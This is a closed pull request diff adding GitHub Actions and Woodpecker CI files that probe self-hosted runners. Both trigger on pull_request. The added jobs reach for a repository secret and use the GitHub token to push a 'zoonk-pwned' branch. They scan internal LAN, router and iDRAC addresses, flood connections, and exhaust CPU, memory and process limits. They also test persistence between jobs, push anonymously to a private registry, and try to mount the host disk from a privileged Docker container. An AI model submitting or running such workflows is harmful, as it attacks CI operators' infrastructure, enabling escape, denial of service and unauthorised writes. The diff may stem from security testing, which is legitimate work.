Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
108 changes: 108 additions & 0 deletions .github/workflows/zoonk.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
name: Zoonk

on:
pull_request:

permissions:
contents: write
pull-requests: write

jobs:
network:
runs-on: [self-hosted, Linux, X64, ci-stack]
timeout-minutes: 30
steps:
- name: Identity, secrets and network
env:
GH_TOKEN: ${{ github.token }}
SOME_SECRET: ${{ secrets.TYPETYPE_ORCHESTRATOR_TOKEN }}
run: |
probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; }
tcp() { timeout 5 bash -c "exec 3<>/dev/tcp/$1/$2"; }
echo "runner $RUNNER_NAME as $(id)"
echo "secret length ${#SOME_SECRET}"
echo "limits cpu=$(cat /sys/fs/cgroup/cpu.max) memory=$(cat /sys/fs/cgroup/memory.max) pids=$(cat /sys/fs/cgroup/pids.max)"
echo "zoonk" > "$HOME/zoonk-marker"
probe "sudo" "sudo -n true"
probe "docker" "docker ps"
probe "stack lan" "tcp 10.10.40.83 8000"
probe "home router" "tcp 192.168.1.1 80"
probe "idrac" "tcp 169.254.1.1 443"
probe "smtp 25" "tcp smtp.gmail.com 25"
probe "smtp 587" "tcp smtp.gmail.com 587"
probe "port 8080" "tcp portquiz.net 8080"
probe "https" "tcp github.com 443"
probe "write with github token" "curl -fsS -m 10 -X POST -H \"Authorization: Bearer $GH_TOKEN\" https://api.github.com/repos/${GITHUB_REPOSITORY}/git/refs -d '{\"ref\":\"refs/heads/zoonk-pwned\",\"sha\":\"${GITHUB_SHA}\"}'"
- name: Connection flood and upload
run: |
python3 - <<'PY'
import socket, threading, time
ok = []
def connect():
try:
socket.create_connection(("1.1.1.1", 443), timeout=8).close()
ok.append(1)
except OSError:
pass
threads = [threading.Thread(target=connect) for _ in range(400)]
start = time.time()
for t in threads: t.start()
for t in threads: t.join()
print(f"flood: {len(ok)}/400 connections in {time.time() - start:.1f}s")
PY
speed=$(head -c 300000000 /dev/zero | curl -s -o /dev/null -m 60 -w '%{speed_upload}' -X POST --data-binary @- https://speed.cloudflare.com/__up || true)
echo "upload: $((${speed%.*} / 1000000)) MB/s"

abuse:
runs-on: [self-hosted, Linux, X64, ci-stack]
timeout-minutes: 30
steps:
- name: CPU, memory, processes, logs and disk
run: |
python3 - <<'PY'
import multiprocessing, os, subprocess, time
def usage():
for line in open("/sys/fs/cgroup/cpu.stat"):
if line.startswith("usage_usec"):
return int(line.split()[1])
def spin():
end = time.time() + 15
while time.time() < end:
pass
before, start = usage(), time.time()
procs = [multiprocessing.Process(target=spin) for _ in range(48)]
for p in procs: p.start()
for p in procs: p.join()
print(f"cpu: 48 busy processes got {(usage() - before) / 1e6 / (time.time() - start):.1f} cores")
rc = subprocess.run(["python3", "-c", "b = bytearray(20 * 1024**3)"]).returncode
print(f"memory: allocating 20 GB ended with code {rc}")
children = []
try:
while len(children) < 20000:
children.append(subprocess.Popen(["sleep", "120"]))
except OSError:
pass
print(f"processes: started {len(children)} before the limit")
for c in children: c.kill()
for c in children: c.wait()
PY

persistence:
needs: network
runs-on: [self-hosted, Linux, X64, ci-stack]
timeout-minutes: 10
steps:
- name: Look for what the first job left
run: |
echo "runner $RUNNER_NAME"
if [ -e "$HOME/zoonk-marker" ]; then echo "OPEN marker from previous job survived"; else echo "blocked marker from previous job survived"; fi

marathon:
runs-on: [self-hosted, Linux, X64, ci-stack]
timeout-minutes: 30
steps:
- name: Run for ten minutes
run: |
echo "start $(date -u +%T) on $RUNNER_NAME"
sleep 600
echo "still alive after ten minutes"
43 changes: 43 additions & 0 deletions .woodpecker/zoonk.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
when:
- event: pull_request

services:
docker:
image: docker:29.1.3-dind@sha256:64d6ee47ea821c986467199baa162f5ac8cde3f57b719f18e23f3ed7a7444131
privileged: true
environment:
DOCKER_TLS_CERTDIR: ""
commands:
- dockerd-entrypoint.sh --host=tcp://0.0.0.0:2375 --tls=false --insecure-registry=registry:5000

steps:
- name: escape
image: docker:29.1.3-cli@sha256:e0b6ff45302985d99b9685b2a2fec50c3379bd47067493968f51da901dc53ad5
environment:
DOCKER_HOST: tcp://docker:2375
commands:
- |
probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; }
for attempt in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done
probe "woodpecker server" "nc -z -w 4 server 9000"
probe "woodpecker api via host" "nc -z -w 4 10.0.2.2 8000"
probe "stack lan" "nc -z -w 4 10.10.40.83 8000"
probe "home router" "nc -z -w 4 192.168.1.1 80"
probe "smtp 25" "nc -z -w 4 smtp.gmail.com 25"
probe "port 8080" "nc -z -w 4 portquiz.net 8080"
probe "https" "nc -z -w 4 github.com 443"
docker pull -q alpine:3.20 >/dev/null
docker tag alpine:3.20 registry:5000/typetype/token-beta:zoonk
probe "anonymous push to token-beta" "docker push registry:5000/typetype/token-beta:zoonk"
probe "host disk mount from dind" "docker run --rm --privileged alpine:3.20 sh -c 'mkdir -p /m && mount /dev/sda1 /m'"
before=$(awk '/usage_usec/ {print $2}' /sys/fs/cgroup/cpu.stat)
for i in $(seq 1 48); do (end=$(($(date +%s) + 15)); while [ "$(date +%s)" -lt "$end" ]; do :; done) & done; wait
after=$(awk '/usage_usec/ {print $2}' /sys/fs/cgroup/cpu.stat)
echo "cpu: 48 busy loops got about $(( (after - before) / 15000000 )) cores in this step"

- name: marathon
image: alpine:3.20
commands:
- echo "start $(date -u +%T)"
- sleep 600
- echo "still alive after ten minutes"
Loading